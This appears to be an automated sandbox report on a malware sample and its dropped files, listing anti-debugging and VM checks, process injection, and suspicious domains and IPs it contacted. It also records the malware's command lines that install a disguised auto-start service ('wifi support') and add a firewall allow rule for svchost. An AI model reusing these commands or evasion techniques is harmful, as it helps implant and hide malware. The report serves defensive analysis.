Source: 2757.exe, 00000027.00000002.628690320.000000002F994000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000002.592027027.0000020254C4C000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.597913891.0000000002734000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.593363171.000000000270F000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000003.00000000.281048957.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: explorer.exe, 00000003.00000000.260720434.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000003.00000000.283347822.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000003.00000000.260720434.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: 4187.exe, 0000002A.00000002.597913891.0000000002734000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`
Source: svchost.exe, 00000005.00000002.538342411.00000175AA83E000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.517850070.000001FB83829000.00000004.00000001.sdmp, svchost.exe, 00000022.00000002.559905618.0000000003200000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\nkINykHreE.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

18_2_00401D96

Source: C:\Users\user\Desktop\nkINykHreE.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Open window title or class name: windbgframeclass

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\2757.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\nkINykHreE.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\nkINykHreE.exe

0_2_004309A0

Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00540042 push dword ptr fs:[00000030h]	0_2_00540042
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 13_2_00470042 push dword ptr fs:[00000030h]	13_2_00470042
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_00470042 push dword ptr fs:[00000030h]	14_2_00470042
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_006C5C0F push dword ptr fs:[00000030h]	14_2_006C5C0F
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_007877AB push dword ptr fs:[00000030h]	17_2_007877AB
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_0054092B mov eax, dword ptr fs:[00000030h]	18_2_0054092B
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00540D90 mov eax, dword ptr fs:[00000030h]	18_2_00540D90
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00773572 push dword ptr fs:[00000030h]	18_2_00773572
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_0054092B mov eax, dword ptr fs:[00000030h]	31_2_0054092B
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_00540D90 mov eax, dword ptr fs:[00000030h]	31_2_00540D90

Source: C:\Users\user\Desktop\nkINykHreE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\scifbcd	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugFlags
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: SICE

Source: C:\Users\user\Desktop\nkINykHreE.exe

Code function: 0_2_00426900 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00426900

Source: C:\Users\user\Desktop\nkINykHreE.exe

0_2_0041C6FF

Source: C:\Users\user\AppData\Local\Temp\CBA.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\nkINykHreE.exe

Code function: 1_1_004027ED LdrLoadDll,

1_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\CBA.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00426900 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00426900
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_004229B0 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004229B0
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_004222D0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004222D0
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_004327E0 SetUnhandledExceptionFilter,	0_2_004327E0
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	18_2_00409A6B
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	31_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.87.235.183 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 40.93.207.1 25
Source: C:\Windows\explorer.exe	Domain query: bitly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: amogohuigotuli.at
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: f0616068.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: unic11m.top
Source: C:\Windows\explorer.exe	Domain query: vk.com
Source: C:\Windows\explorer.exe	Domain query: www.mediafire.com
Source: C:\Windows\explorer.exe	Domain query: natribu.org
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Domain query: srtuiyhuali.at
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: fufuiloirtu.com
Source: C:\Windows\explorer.exe	Domain query: bit.ly
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: haifbcd.3.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\nkINykHreE.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\nkINykHreE.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\scifbcd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\scifbcd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 2BB0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\nkINykHreE.exe	Memory written: C:\Users\user\Desktop\nkINykHreE.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Memory written: C:\Users\user\AppData\Roaming\haifbcd base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Memory written: C:\Users\user\AppData\Local\Temp\115B.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Memory written: C:\Users\user\AppData\Local\Temp\CBA.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2BB0000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\nkINykHreE.exe

Code function: 0_2_00540110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00540110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\nkINykHreE.exe	Thread created: C:\Windows\explorer.exe EIP: 3A61930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Thread created: unknown EIP: 5DD1930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Thread created: unknown EIP: 6DB1A40	Jump to behavior
Source: C:\Users\user\AppData\Roaming\scifbcd	Thread created: unknown EIP: 7701A40

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2BB0000
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2C71008

.NET source code references suspicious native API functions

Show sources

Source: CBA.exe.3.dr, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: CBA.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 19.0.CBA.exe.cb0000.1.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 19.0.CBA.exe.cb0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 19.0.CBA.exe.cb0000.0.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 19.0.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 19.0.CBA.exe.cb0000.3.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 19.0.CBA.exe.cb0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 19.0.CBA.exe.cb0000.2.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 19.0.CBA.exe.cb0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 19.2.CBA.exe.cb0000.0.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 19.2.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 33.0.CBA.exe.f90000.2.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 33.0.CBA.exe.f90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 33.0.CBA.exe.400000.4.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 33.2.CBA.exe.400000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 33.0.CBA.exe.f90000.7.unpack, lennahCtneilCIledoMecivreSmetsyS22062.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 33.0.CBA.exe.f90000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 33.0.CBA.exe.400000.12.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 33.0.CBA.exe.400000.8.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\Desktop\nkINykHreE.exe	Process created: C:\Users\user\Desktop\nkINykHreE.exe "C:\Users\user\Desktop\nkINykHreE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Process created: C:\Users\user\AppData\Roaming\haifbcd C:\Users\user\AppData\Roaming\haifbcd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Process created: C:\Users\user\AppData\Local\Temp\115B.exe C:\Users\user\AppData\Local\Temp\115B.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dbgxuqbr\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description dbgxuqbr "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start dbgxuqbr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process created: C:\Users\user\AppData\Local\Temp\CBA.exe C:\Users\user\AppData\Local\Temp\CBA.exe	Jump to behavior
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

18_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

18_2_00407809

Source: explorer.exe, 00000003.00000000.285107992.0000000005EA0000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.255543358.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.260756082.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.281261190.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.267419083.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.275109089.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.290404314.00000000089FF000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.569545258.0000000001210000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.255543358.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.281261190.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.267419083.0000000001640000.00000002.00020000.sdmp, 4187.exe, 0000002A.00000002.569545258.0000000001210000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.255543358.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.281261190.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.267419083.0000000001640000.00000002.00020000.sdmp, 4187.exe, 0000002A.00000002.569545258.0000000001210000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000003.00000000.255386950.0000000001128000.00000004.00000020.sdmp, explorer.exe, 00000003.00000000.266495197.0000000001128000.00000004.00000020.sdmp, explorer.exe, 00000003.00000000.280909928.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000003.00000000.255543358.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.281261190.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.267419083.0000000001640000.00000002.00020000.sdmp, 4187.exe, 0000002A.00000002.569545258.0000000001210000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000003.00000000.255543358.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.281261190.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.267419083.0000000001640000.00000002.00020000.sdmp, 4187.exe, 0000002A.00000002.569545258.0000000001210000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0043A080
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	0_2_00439D40
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,GetLocaleInfoA,__stricmp,__strnicmp,_strlen,_TestDefaultCountry,GetLocaleInfoA,__stricmp,_strlen,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,	0_2_0043A140
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: GetLocaleInfoA,GetACP,GetLocaleInfoA,	0_2_0043A930
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0043A580
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	0_2_0043AA50
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: GetLocaleInfoW,	0_2_00440660
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00437670
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultLanguage,__stricmp,_TestDefaultLanguage,	0_2_0043A600
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: __crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate,	0_2_00440610
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoA,GetLocaleInfoW,_malloc,__MarkAllocaS,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,__freea,	0_2_004406D0
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	0_2_00440680
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: ___crtGetLocaleInfoW,GetLastError,___crtGetLocaleInfoW,___crtGetLocaleInfoW,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,	0_2_00434740
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: GetLocaleInfoA,	0_2_00433FE0
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _LcidFromHexString,GetLocaleInfoA,__stricmp,_TestDefaultCountry,	0_2_0043A7F0
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	0_2_00423B80
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,InterlockedDecrement,InterlockedDecrement,	0_2_00438380
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: _strlen,EnumSystemLocalesA,	0_2_0043A7A0
